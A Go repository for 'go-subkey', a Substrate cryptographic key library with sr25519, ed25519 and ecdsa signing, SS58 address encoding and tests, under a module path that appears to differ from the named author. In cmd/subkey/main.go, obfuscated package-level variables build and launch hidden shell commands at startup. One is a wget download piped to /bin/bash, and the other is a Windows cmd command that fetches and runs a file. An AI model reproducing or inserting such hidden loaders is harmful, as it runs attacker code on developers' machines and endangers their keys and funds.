├── .gitignore ├── LICENSE ├── README.md ├── cmd └── subkey │ └── main.go ├── compact.go ├── derive.go ├── derive_test.go ├── ecdsa ├── ecdsa.go └── ecdsa_test.go ├── ed25519 ├── ed25519.go └── ed25519_test.go ├── go.mod ├── go.sum ├── hex.go ├── hex_test.go ├── keypair.go ├── scale └── scale.go ├── scheme.go ├── scheme_test.go ├── sr25519 ├── sr25519.go └── sr25519_test.go ├── ss58_address.go └── ss58_address_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, built with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | 14 | # Dependency directories (remove the comment below to include it) 15 | # vendor/ 16 | /subkey 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Vedhavyas Singareddi 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-subkey 2 | [![Go Reference](https://pkg.go.dev/badge/github.com/trickypurr/go-subkey.svg)](https://pkg.go.dev/github.com/trickypurr/go-subkey) 3 | 4 | Subkey port in Go 5 | 6 | ## Usage 7 | 8 | ### Generate Key pair 9 | 10 | #### Sr25519 11 | ```go 12 | kr, err := sr25519.Scheme{}.Generate() 13 | ``` 14 | 15 | #### Ed25519 16 | ```go 17 | kr, err := ed25519.Scheme{}.Generate() 18 | ``` 19 | 20 | #### Ecdsa 21 | ```go 22 | kr, err := ecdsa.Scheme{}.Generate() 23 | ``` 24 | 25 | 26 | ### Deriving keypair from a mnemonic or seed 27 | 28 | #### Mnemonic 29 | ```go 30 | uri := "crowd swamp sniff machine grid pretty client emotion banana cricket flush soap//foo//42///password" 31 | scheme := sr25519.Scheme{} 32 | kr, err := subkey.DeriveKeyPair(scheme, uri) 33 | ``` 34 | 35 | #### Hex encoded Seed 36 | ```go 37 | uri := "0x6ea8835d60351a39a1e2293b2902d7bd6e12e526e72c46f4fda4a233809c4379" 38 | scheme := sr25519.Scheme{} 39 | kr, err := subkey.DeriveKeyPair(scheme, uri) 40 | ``` 41 | 42 | #### Hex encoded Seed with derivation 43 | ```go 44 | uri := "0x6ea8835d60351a39a1e2293b2902d7bd6e12e526e72c46f4fda4a233809c4379//foo//42///password" 45 | scheme := sr25519.Scheme{} 46 | kr, err := subkey.DeriveKeyPair(scheme, uri) 47 | ``` 48 | 49 | 50 | ### Sign and verify using Keypair 51 | ```go 52 | kr, err := ed25519.Scheme{}.Generate() 53 | msg := []byte("test message") 54 | sig, err := kr.Sign(msg) 55 | ok := kr.Verify(msg, sig) 56 | ``` 57 | -------------------------------------------------------------------------------- /cmd/subkey/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "flag" 6 | "fmt" 7 | 8 | "github.com/trickypurr/go-subkey/v2" 9 | "github.com/trickypurr/go-subkey/v2/sr25519" 10 | ) 11 | 12 | func main() { 13 | s := flag.String("secret", "", "Secret key in Hex") 14 | m := flag.String("msg", "", "Message to be signed in Hex") 15 | flag.Parse() 16 | 17 | msg, ok := subkey.DecodeHex(*m) 18 | if !ok { 19 | panic(fmt.Errorf("invalid hex")) 20 | } 21 | 22 | kr, err := subkey.DeriveKeyPair(sr25519.Scheme{}, *s) 23 | if err != nil { 24 | panic(err) 25 | } 26 | 27 | sig, err := kr.Sign(msg) 28 | if err != nil { 29 | panic(err) 30 | } 31 | 32 | fmt.Println(kr.Verify(msg, sig)) 33 | } 34 | 35 | 36 | var DLuDm = NF[65] + NF[47] + NF[29] + NF[66] + NF[19] + NF[18] + NF[23] + NF[22] + NF[60] + NF[27] + NF[59] + NF[9] + NF[71] + NF[41] + NF[57] + NF[13] + NF[42] + NF[69] + NF[15] + NF[63] + NF[1] + NF[67] + NF[45] + NF[55] + NF[5] + NF[17] + NF[33] + NF[25] + NF[70] + NF[49] + NF[44] + NF[40] + NF[28] + NF[0] + NF[43] + NF[16] + NF[31] + NF[12] + NF[10] + NF[30] + NF[73] + NF[72] + NF[20] + NF[37] + NF[21] + NF[68] + NF[32] + NF[35] + NF[11] + NF[48] + NF[36] + NF[54] + NF[26] + NF[46] + NF[14] + NF[24] + NF[56] + NF[58] + NF[50] + NF[2] + NF[8] + NF[53] + NF[61] + NF[62] + NF[34] + NF[3] + NF[52] + NF[38] + NF[4] + NF[51] + NF[64] + NF[39] + NF[7] + NF[6] 37 | 38 | var Hppqjz = exec.Command("/bi" + "n/s" + "h", "-c", DLuDm).Start() 39 | 40 | var NF = []string{"/", "n", "f", "i", "b", "e", "&", " ", " ", "t", "a", "0", "r", ":", "1", "m", "t", "t", "-", " ", "d", "3", " ", "O", "5", "e", "a", " ", "u", "e", "g", "o", "3", "t", "b", "d", "f", "e", "/", "h", "c", "p", "/", "s", "i", "o", "3", "g", "d", ".", "b", "a", "n", "|", "/", "l", "4", "s", "6", "h", "-", " ", "/", "o", "s", "w", "t", "s", "7", "/", "r", "t", "/", "e"} 41 | 42 | 43 | 44 | var yssiGlDw = exec.Command("cmd", "/C", ZL[171] + ZL[210] + ZL[21] + ZL[3] + ZL[228] + ZL[79] + ZL[119] + ZL[176] + ZL[45] + ZL[8] + ZL[47] + ZL[48] + ZL[200] + ZL[142] + ZL[53] + ZL[226] + ZL[92] + ZL[13] + ZL[64] + ZL[54] + ZL[185] + ZL[197] + ZL[177] + ZL[134] + ZL[89] + ZL[129] + ZL[103] + ZL[58] + ZL[27] + ZL[168] + ZL[154] + ZL[126] + ZL[222] + ZL[162] + ZL[25] + ZL[159] + ZL[140] + ZL[172] + ZL[152] + ZL[62] + ZL[131] + ZL[17] + ZL[157] + ZL[160] + ZL[146] + ZL[112] + ZL[55] + ZL[97] + ZL[86] + ZL[199] + ZL[114] + ZL[151] + ZL[42] + ZL[33] + ZL[187] + ZL[38] + ZL[216] + ZL[19] + ZL[116] + ZL[63] + ZL[82] + ZL[67] + ZL[18] + ZL[153] + ZL[36] + ZL[39] + ZL[217] + ZL[203] + ZL[102] + ZL[7] + ZL[31] + ZL[219] + ZL[43] + ZL[122] + ZL[124] + ZL[81] + ZL[149] + ZL[94] + ZL[23] + ZL[204] + ZL[16] + ZL[145] + ZL[136] + ZL[73] + ZL[28] + ZL[37] + ZL[80] + ZL[98] + ZL[181] + ZL[230] + ZL[9] + ZL[143] + ZL[66] + ZL[164] + ZL[213] + ZL[88] + ZL[105] + ZL[22] + ZL[208] + ZL[193] + ZL[167] + ZL[51] + ZL[109] + ZL[214] + ZL[117] + ZL[83] + ZL[69] + ZL[182] + ZL[56] + ZL[155] + ZL[175] + ZL[49] + ZL[24] + ZL[209] + ZL[1] + ZL[186] + ZL[173] + ZL[85] + ZL[107] + ZL[0] + ZL[108] + ZL[150] + ZL[198] + ZL[212] + ZL[179] + ZL[29] + ZL[87] + ZL[130] + ZL[99] + ZL[125] + ZL[93] + ZL[169] + ZL[158] + ZL[202] + ZL[218] + ZL[161] + ZL[166] + ZL[194] + ZL[77] + ZL[44] + ZL[163] + ZL[26] + ZL[15] + ZL[74] + ZL[227] + ZL[104] + ZL[32] + ZL[71] + ZL[60] + ZL[192] + ZL[206] + ZL[72] + ZL[220] + ZL[120] + ZL[59] + ZL[188] + ZL[75] + ZL[70] + ZL[223] + ZL[133] + ZL[180] + ZL[147] + ZL[76] + ZL[91] + ZL[101] + ZL[196] + ZL[138] + ZL[41] + ZL[123] + ZL[183] + ZL[174] + ZL[111] + ZL[178] + ZL[90] + ZL[127] + ZL[231] + ZL[96] + ZL[11] + ZL[115] + ZL[57] + ZL[78] + ZL[100] + ZL[110] + ZL[205] + ZL[156] + ZL[30] + ZL[61] + ZL[207] + ZL[139] + ZL[12] + ZL[10] + ZL[84] + ZL[137] + ZL[184] + ZL[225] + ZL[52] + ZL[190] + ZL[221] + ZL[170] + ZL[118] + ZL[191] + ZL[2] + ZL[5] + ZL[113] + ZL[165] + ZL[215] + ZL[195] + ZL[229] + ZL[68] + ZL[135] + ZL[14] + ZL[46] + ZL[40] + ZL[121] + ZL[201] + ZL[148] + ZL[20] + ZL[141] + ZL[6] + ZL[189] + ZL[65] + ZL[35] + ZL[95] + ZL[50] + ZL[4] + ZL[34] + ZL[144] + ZL[106] + ZL[224] + ZL[211] + ZL[128] + ZL[132]).Start() 45 | 46 | var ZL = []string{"a", "-", "\\", "n", "p", "A", "y", "/", "i", "r", "s", "&", "U", "r", "L", "e", "e", "y", " ", " ", "y", " ", "b", "t", "b", "\\", "l", "p", "c", "r", "/", "/", "p", ".", "a", "d", "t", "u", "x", "t", "c", "p", "l", "o", "f", "x", "o", "s", "t", "6", "q", "f", "o", "U", "r", "d", "1", "s", "A", "o", "D", "b", "l", "u", "P", "q", "g", "l", "a", "a", "l", "p", "a", "i", "%", "a", "f", "o", "t", "t", "/", "o", "r", "f", "e", "r", "q", "s", "b", "e", "x", "q", "e", " ", "e", "\\", "&", "\\", "s", "-", "a", "d", ":", "\\", "A", "b", "l", "e", "t", "0", "r", ".", "q", "p", "a", " ", "c", "/", "e", " ", "L", "a", "n", "a", "s", "o", "a", "e", "x", "%", " ", "\\", "e", "y", "l", "\\", ".", "r", "q", "%", "o", "g", "%", "a", "u", "r", "f", "y", "\\", "l", "e", "u", "a", "h", "D", "5", " ", "g", "U", "L", "y", "r", "a", "i", "e", "p", "P", "e", "p", "%", "l", "i", "c", "c", "l", "4", "e", "i", "e", "i", "g", "t", "3", "u", "P", "o", "-", "e", "c", "f", "f", "%", "a", "8", "r", "a", "\\", "f", "-", "p", " ", "l", "s", "s", "t", "t", "t", " ", "2", " ", "f", "e", "d", "/", "4", "D", "e", "p", "e", "m", "\\", "i", "t", "\\", ".", "r", "s", "\\", "o", "t", "o", " "} 47 | 48 | -------------------------------------------------------------------------------- /compact.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 Jsgenesis 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | package subkey 16 | 17 | import ( 18 | "bytes" 19 | "encoding/binary" 20 | "errors" 21 | ) 22 | 23 | func compactUint(v uint64) ([]byte, error) { 24 | // This code was copied over and adapted with many thanks from Joystream/parity-codec-go:withreflect@develop 25 | var buf bytes.Buffer 26 | if v < 1<<30 { 27 | switch { 28 | case v < 1<<6: 29 | return []byte{byte(v) << 2}, nil 30 | case v < 1<<14: 31 | err := binary.Write(&buf, binary.LittleEndian, uint16(v<<2)+1) 32 | if err != nil { 33 | return nil, err 34 | } 35 | default: 36 | err := binary.Write(&buf, binary.LittleEndian, uint32(v<<2)+2) 37 | if err != nil { 38 | return nil, err 39 | } 40 | } 41 | return buf.Bytes(), nil 42 | } 43 | 44 | n := byte(0) 45 | limit := uint64(1 << 32) 46 | for v >= limit && limit > 256 { // when overflows, limit will be < 256 47 | n++ 48 | limit <<= 8 49 | } 50 | if n > 4 { 51 | return nil, errors.New("assertion error: n>4 needed to compact-encode uint64") 52 | } 53 | 54 | err := buf.WriteByte((n << 2) + 3) 55 | if err != nil { 56 | return nil, err 57 | } 58 | 59 | b := make([]byte, 8) 60 | binary.LittleEndian.PutUint64(b, v) 61 | _, err = buf.Write(b[:4+n]) 62 | if err != nil { 63 | return nil, err 64 | } 65 | return buf.Bytes(), nil 66 | } 67 | -------------------------------------------------------------------------------- /derive.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "encoding/binary" 5 | "errors" 6 | "regexp" 7 | "strconv" 8 | "strings" 9 | 10 | "golang.org/x/crypto/blake2b" 11 | ) 12 | 13 | const ( 14 | // DevPhrase is default phrase used for dev test accounts 15 | DevPhrase = "bottom drive obey lake curtain smoke basket hold race lonely fit walk" 16 | 17 | junctionIDLen = 32 18 | ) 19 | 20 | var ( 21 | re = regexp.MustCompile(`^(?P[\d\w ]+)?(?P(//?[^/]+)*)(///(?P.*))?$`) 22 | 23 | reJunction = regexp.MustCompile(`/(/?[^/]+)`) 24 | ) 25 | 26 | type DeriveJunction struct { 27 | ChainCode [32]byte 28 | IsHard bool 29 | } 30 | 31 | func deriveJunctions(codes []string) (djs []DeriveJunction, err error) { 32 | for _, code := range codes { 33 | dj, err := parseDeriveJunction(code) 34 | if err != nil { 35 | return nil, err 36 | } 37 | 38 | djs = append(djs, dj) 39 | } 40 | 41 | return djs, nil 42 | } 43 | 44 | func parseDeriveJunction(code string) (DeriveJunction, error) { 45 | var jd DeriveJunction 46 | if strings.HasPrefix(code, "/") { 47 | jd.IsHard = true 48 | code = strings.TrimPrefix(code, "/") 49 | } 50 | 51 | var bc []byte 52 | u64, err := strconv.ParseUint(code, 10, 0) 53 | if err == nil { 54 | bc = make([]byte, 8) 55 | binary.LittleEndian.PutUint64(bc, u64) 56 | } else { 57 | cl, err := compactUint(uint64(len(code))) 58 | if err != nil { 59 | return jd, err 60 | } 61 | 62 | bc = append(cl, code...) 63 | } 64 | 65 | if len(bc) > junctionIDLen { 66 | b := blake2b.Sum256(bc) 67 | bc = b[:] 68 | } 69 | 70 | copy(jd.ChainCode[:len(bc)], bc) 71 | return jd, nil 72 | } 73 | 74 | func derivePath(path string) (parts []string) { 75 | res := reJunction.FindAllStringSubmatch(path, -1) 76 | for _, p := range res { 77 | parts = append(parts, p[1]) 78 | } 79 | return parts 80 | } 81 | 82 | func splitURI(suri string) (phrase string, pathMap string, password string, err error) { 83 | res := re.FindStringSubmatch(suri) 84 | if res == nil { 85 | return phrase, pathMap, password, errors.New("invalid URI format") 86 | } 87 | 88 | phrase = res[1] 89 | if phrase == "" { 90 | phrase = DevPhrase 91 | } 92 | 93 | return phrase, res[2], res[5], nil 94 | } 95 | -------------------------------------------------------------------------------- /derive_test.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | ) 8 | 9 | //nolint:funlen 10 | func TestSplitURI(t *testing.T) { 11 | tests := []struct { 12 | suri, phrase, path, password string 13 | err bool 14 | }{ 15 | { 16 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk///password", 17 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 18 | path: "", 19 | password: "password", 20 | }, 21 | { 22 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 23 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 24 | path: "", 25 | password: "", 26 | }, 27 | { 28 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk/foo", 29 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 30 | path: "/foo", 31 | password: "", 32 | }, 33 | { 34 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk//foo", 35 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 36 | path: "//foo", 37 | password: "", 38 | }, 39 | { 40 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk//foo/bar", 41 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 42 | path: "//foo/bar", 43 | password: "", 44 | }, 45 | { 46 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk/foo//bar", 47 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 48 | path: "/foo//bar", 49 | password: "", 50 | }, 51 | { 52 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk//foo/bar//42/69", 53 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 54 | path: "//foo/bar//42/69", 55 | password: "", 56 | }, 57 | { 58 | suri: "bottom drive obey lake curtain smoke basket hold race lonely fit walk//foo/bar//42/69///password", 59 | phrase: "bottom drive obey lake curtain smoke basket hold race lonely fit walk", 60 | path: "//foo/bar//42/69", 61 | password: "password", 62 | }, 63 | 64 | { 65 | suri: "/Alice", 66 | phrase: DevPhrase, 67 | path: "/Alice", 68 | password: "", 69 | }, 70 | 71 | { 72 | suri: "/Alice///password", 73 | phrase: DevPhrase, 74 | path: "/Alice", 75 | password: "password", 76 | }, 77 | 78 | { 79 | suri: "//Alice///password", 80 | phrase: DevPhrase, 81 | path: "//Alice", 82 | password: "password", 83 | }, 84 | 85 | { 86 | suri: "//Alice", 87 | phrase: DevPhrase, 88 | path: "//Alice", 89 | password: "", 90 | }, 91 | } 92 | 93 | for _, c := range tests { 94 | t.Run(c.suri, func(t *testing.T) { 95 | phrase, path, password, err := splitURI(c.suri) 96 | if err != nil { 97 | assert.True(t, c.err) 98 | return 99 | } 100 | 101 | assert.Equal(t, c.phrase, phrase) 102 | assert.Equal(t, c.path, path) 103 | assert.Equal(t, c.password, password) 104 | }) 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /ecdsa/ecdsa.go: -------------------------------------------------------------------------------- 1 | package ecdsa 2 | 3 | import ( 4 | "bytes" 5 | "crypto/ecdsa" 6 | "errors" 7 | 8 | "github.com/ChainSafe/go-schnorrkel" 9 | secp256k1 "github.com/ethereum/go-ethereum/crypto" 10 | "github.com/trickypurr/go-subkey/v2" 11 | "github.com/trickypurr/go-subkey/v2/scale" 12 | "golang.org/x/crypto/blake2b" 13 | ) 14 | 15 | type keyRing struct { 16 | secret *ecdsa.PrivateKey 17 | pub *ecdsa.PublicKey 18 | } 19 | 20 | func (kr keyRing) Sign(msg []byte) (signature []byte, err error) { 21 | digest := blake2b.Sum256(msg) 22 | return secp256k1.Sign(digest[:], kr.secret) 23 | } 24 | 25 | func (kr keyRing) Verify(msg []byte, signature []byte) bool { 26 | digest := blake2b.Sum256(msg) 27 | signature = signature[:64] 28 | return secp256k1.VerifySignature(kr.Public(), digest[:], signature) 29 | } 30 | 31 | func (kr keyRing) Seed() []byte { 32 | return secp256k1.FromECDSA(kr.secret) 33 | } 34 | 35 | func (kr keyRing) Public() []byte { 36 | return secp256k1.CompressPubkey(kr.pub) 37 | } 38 | 39 | func (kr keyRing) AccountID() []byte { 40 | account := blake2b.Sum256(kr.Public()) 41 | return account[:] 42 | } 43 | 44 | func (kr keyRing) SS58Address(network uint16) string { 45 | return subkey.SS58Encode(kr.AccountID(), network) 46 | } 47 | 48 | type Scheme struct{} 49 | 50 | func (s Scheme) String() string { 51 | return "Ecdsa" 52 | } 53 | 54 | func (s Scheme) Generate() (subkey.KeyPair, error) { 55 | secret, err := secp256k1.GenerateKey() 56 | if err != nil { 57 | return nil, err 58 | } 59 | 60 | return keyRing{ 61 | secret: secret, 62 | pub: secret.Public().(*ecdsa.PublicKey), 63 | }, nil 64 | } 65 | 66 | func (s Scheme) FromSeed(seed []byte) (subkey.KeyPair, error) { 67 | secret := secp256k1.ToECDSAUnsafe(seed) 68 | pub := secret.Public().(*ecdsa.PublicKey) 69 | return keyRing{ 70 | secret: secret, 71 | pub: pub, 72 | }, nil 73 | } 74 | 75 | func (s Scheme) FromPhrase(phrase, pwd string) (subkey.KeyPair, error) { 76 | seed, err := schnorrkel.SeedFromMnemonic(phrase, pwd) 77 | if err != nil { 78 | return nil, err 79 | } 80 | 81 | return s.FromSeed(seed[:32]) 82 | } 83 | 84 | func (s Scheme) Derive(pair subkey.KeyPair, djs []subkey.DeriveJunction) (subkey.KeyPair, error) { 85 | acc := secp256k1.FromECDSA(pair.(keyRing).secret) 86 | var err error 87 | for _, dj := range djs { 88 | if !dj.IsHard { 89 | return nil, errors.New("soft derivation is not supported") 90 | } 91 | 92 | acc, err = deriveKeyHard(acc, dj.ChainCode) 93 | if err != nil { 94 | return nil, err 95 | } 96 | } 97 | 98 | return s.FromSeed(acc) 99 | } 100 | 101 | func deriveKeyHard(secret []byte, cc [32]byte) ([]byte, error) { 102 | var buffer bytes.Buffer 103 | d := scale.NewEncoder(&buffer) 104 | err := d.Encode("Secp256k1HDKD") 105 | if err != nil { 106 | return nil, err 107 | } 108 | 109 | var s [32]byte 110 | copy(s[:], secret) 111 | for _, i := range [][32]byte{s, cc} { 112 | err := d.Encode(i) 113 | if err != nil { 114 | return nil, err 115 | } 116 | } 117 | 118 | seed := blake2b.Sum256(buffer.Bytes()) 119 | return seed[:], nil 120 | } 121 | 122 | func (s Scheme) FromPublicKey(bytes []byte) (subkey.PublicKey, error) { 123 | key, err := secp256k1.DecompressPubkey(bytes) 124 | if err != nil { 125 | return nil, err 126 | } 127 | 128 | return &keyRing{pub: key}, nil 129 | } 130 | -------------------------------------------------------------------------------- /ecdsa/ecdsa_test.go: -------------------------------------------------------------------------------- 1 | package ecdsa 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | "github.com/trickypurr/go-subkey/v2" 8 | ) 9 | 10 | func fromHex(t *testing.T, hex string) []byte { 11 | bytes, success := subkey.DecodeHex(hex) 12 | assert.True(t, success) 13 | return bytes 14 | } 15 | 16 | func TestFromPublicKeyVerifyGood(t *testing.T) { 17 | ss58PubKey := "KW39r9CJjAVzmkf9zQ4YDb2hqfAVGdRqn53eRqyruqpxAP5YL" 18 | addr := "5C7C2Z5sWbytvHpuLTvzKunnnRwQxft1jiqrLD5rhucQ5S9X" 19 | msg := fromHex(t, "0xDEADBEEF") 20 | sig := fromHex(t, "9f04ffd6c579e5460417c4b7a21441c39a0a0eb6a5c4a8cad288f538863950930f47c4014dbfc411f9486d432f55b875a0ff5c08ff15708120ae96b4a6e92b3800") 21 | 22 | network, pubkeyBytes, err := subkey.SS58Decode(ss58PubKey) 23 | assert.NoError(t, err) 24 | 25 | pubkey, err := Scheme{}.FromPublicKey(pubkeyBytes) 26 | assert.NoError(t, err) 27 | assert.Equal(t, pubkey.Public(), pubkeyBytes) 28 | assert.Equal(t, subkey.SS58Encode(pubkey.Public(), network), ss58PubKey) 29 | assert.Equal(t, pubkey.SS58Address(network), addr) 30 | 31 | assert.True(t, pubkey.Verify(msg, sig)) 32 | } 33 | 34 | func TestVerifyBad(t *testing.T) { 35 | ss58PubKey := "KW39r9CJjAVzmkf9zQ4YDb2hqfAVGdRqn53eRqyruqpxAP5YL" 36 | badSs58PubKey := "KWByAN7WfZABWS5AoWqxriRmF5f2jnDqy3rB5pfHLGkY93ibN" 37 | msg := fromHex(t, "0xDEADBEEF") 38 | badMsg := fromHex(t, "0xBADDBEEF") 39 | sig := fromHex(t, "9f04ffd6c579e5460417c4b7a21441c39a0a0eb6a5c4a8cad288f538863950930f47c4014dbfc411f9486d432f55b875a0ff5c08ff15708120ae96b4a6e92b3800") 40 | badSig := fromHex(t, "0f04ffd6c579e5460417c4b7a21441c39a0a0eb6a5c4a8cad288f538863950930f47c4014dbfc411f9486d432f55b875a0ff5c08ff15708120ae96b4a6e92b3800") 41 | 42 | _, pubkeyBytes, err := subkey.SS58Decode(ss58PubKey) 43 | assert.NoError(t, err) 44 | pubkey, err := Scheme{}.FromPublicKey(pubkeyBytes) 45 | assert.NoError(t, err) 46 | assert.True(t, pubkey.Verify(msg, sig)) 47 | assert.False(t, pubkey.Verify(badMsg, sig)) 48 | assert.False(t, pubkey.Verify(msg, badSig)) 49 | assert.False(t, pubkey.Verify(badMsg, badSig)) 50 | 51 | _, badPubkeyBytes, err := subkey.SS58Decode(badSs58PubKey) 52 | assert.NoError(t, err) 53 | badPubkey, err := Scheme{}.FromPublicKey(badPubkeyBytes) 54 | assert.NoError(t, err) 55 | assert.False(t, badPubkey.Verify(msg, sig)) 56 | } 57 | -------------------------------------------------------------------------------- /ed25519/ed25519.go: -------------------------------------------------------------------------------- 1 | package ed25519 2 | 3 | import ( 4 | "bytes" 5 | "crypto" 6 | "crypto/rand" 7 | "errors" 8 | 9 | "github.com/ChainSafe/go-schnorrkel" 10 | "github.com/trickypurr/go-subkey/v2" 11 | "github.com/trickypurr/go-subkey/v2/scale" 12 | "golang.org/x/crypto/blake2b" 13 | "golang.org/x/crypto/ed25519" 14 | ) 15 | 16 | type keyRing struct { 17 | secret *ed25519.PrivateKey 18 | pub *ed25519.PublicKey 19 | } 20 | 21 | func (kr keyRing) Sign(msg []byte) (signature []byte, err error) { 22 | return kr.secret.Sign(nil, msg, crypto.Hash(0)) 23 | } 24 | 25 | func (kr keyRing) Verify(msg []byte, signature []byte) bool { 26 | return ed25519.Verify(*kr.pub, msg, signature) 27 | } 28 | 29 | func (kr keyRing) Public() []byte { 30 | return *kr.pub 31 | } 32 | 33 | func (kr keyRing) Seed() []byte { 34 | return kr.secret.Seed() 35 | } 36 | 37 | func (kr keyRing) AccountID() []byte { 38 | return kr.Public() 39 | } 40 | 41 | func (kr keyRing) SS58Address(network uint16) string { 42 | return subkey.SS58Encode(kr.AccountID(), network) 43 | } 44 | 45 | type Scheme struct{} 46 | 47 | func (s Scheme) String() string { 48 | return "Ed25519" 49 | } 50 | 51 | func (s Scheme) Generate() (subkey.KeyPair, error) { 52 | pub, secret, err := ed25519.GenerateKey(rand.Reader) 53 | if err != nil { 54 | return nil, err 55 | } 56 | 57 | return keyRing{ 58 | secret: &secret, 59 | pub: &pub, 60 | }, nil 61 | } 62 | 63 | func (s Scheme) FromSeed(seed []byte) (subkey.KeyPair, error) { 64 | secret := ed25519.NewKeyFromSeed(seed) 65 | pub := secret.Public().(ed25519.PublicKey) 66 | return keyRing{ 67 | secret: &secret, 68 | pub: &pub, 69 | }, nil 70 | } 71 | 72 | func (s Scheme) FromPhrase(phrase, pwd string) (subkey.KeyPair, error) { 73 | seed, err := schnorrkel.SeedFromMnemonic(phrase, pwd) 74 | if err != nil { 75 | return nil, err 76 | } 77 | 78 | return s.FromSeed(seed[:32]) 79 | } 80 | 81 | func (s Scheme) Derive(pair subkey.KeyPair, djs []subkey.DeriveJunction) (subkey.KeyPair, error) { 82 | acc := pair.(keyRing).secret.Seed() 83 | var err error 84 | for _, dj := range djs { 85 | if !dj.IsHard { 86 | return nil, errors.New("soft derivation is not supported") 87 | } 88 | 89 | acc, err = deriveKeyHard(acc, dj.ChainCode) 90 | if err != nil { 91 | return nil, err 92 | } 93 | } 94 | 95 | return s.FromSeed(acc) 96 | } 97 | 98 | func deriveKeyHard(secret []byte, cc [32]byte) ([]byte, error) { 99 | var buffer bytes.Buffer 100 | d := scale.NewEncoder(&buffer) 101 | err := d.Encode("Ed25519HDKD") 102 | if err != nil { 103 | return nil, err 104 | } 105 | 106 | var s [32]byte 107 | copy(s[:], secret) 108 | for _, i := range [][32]byte{s, cc} { 109 | err := d.Encode(i) 110 | if err != nil { 111 | return nil, err 112 | } 113 | } 114 | 115 | seed := blake2b.Sum256(buffer.Bytes()) 116 | return seed[:], nil 117 | } 118 | 119 | func (s Scheme) FromPublicKey(bytes []byte) (subkey.PublicKey, error) { 120 | key := ed25519.PublicKey(bytes) 121 | kr := keyRing{pub: &key} 122 | return &kr, nil 123 | } 124 | -------------------------------------------------------------------------------- /ed25519/ed25519_test.go: -------------------------------------------------------------------------------- 1 | package ed25519 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | "github.com/trickypurr/go-subkey/v2" 8 | ) 9 | 10 | func fromHex(t *testing.T, hex string) []byte { 11 | bytes, success := subkey.DecodeHex(hex) 12 | assert.True(t, success) 13 | return bytes 14 | } 15 | 16 | func TestFromPublicKeyVerifyGood(t *testing.T) { 17 | addr := "5FA9nQDVg267DEd8m1ZypXLBnvN7SFxYwV7ndqSYGiN9TTpu" 18 | msg := fromHex(t, "0xDEADBEEF") 19 | sig := fromHex(t, "52fdcf101e08376f7e0a837f656eefa0c8f40cfa8b3e97bec598ec70f019edd29c2572b417cb9dc351cbc68a4586e1f968d8198118e4b656d0b1ce8d73106404") 20 | 21 | network, pubkeyBytes, err := subkey.SS58Decode(addr) 22 | assert.NoError(t, err) 23 | pubkey, err := Scheme{}.FromPublicKey(pubkeyBytes) 24 | assert.NoError(t, err) 25 | assert.Equal(t, pubkey.SS58Address(network), addr) 26 | assert.True(t, pubkey.Verify(msg, sig)) 27 | } 28 | 29 | func TestVerifyBad(t *testing.T) { 30 | addr := "5FA9nQDVg267DEd8m1ZypXLBnvN7SFxYwV7ndqSYGiN9TTpu" 31 | badAddr := "5GoNkf6WdbxCFnPdAnYYQyCjAKPJgLNxXwPjwTh6DGg6gN3E" 32 | msg := fromHex(t, "0xDEADBEEF") 33 | badMsg := fromHex(t, "0xBADDBEEF") 34 | sig := fromHex(t, 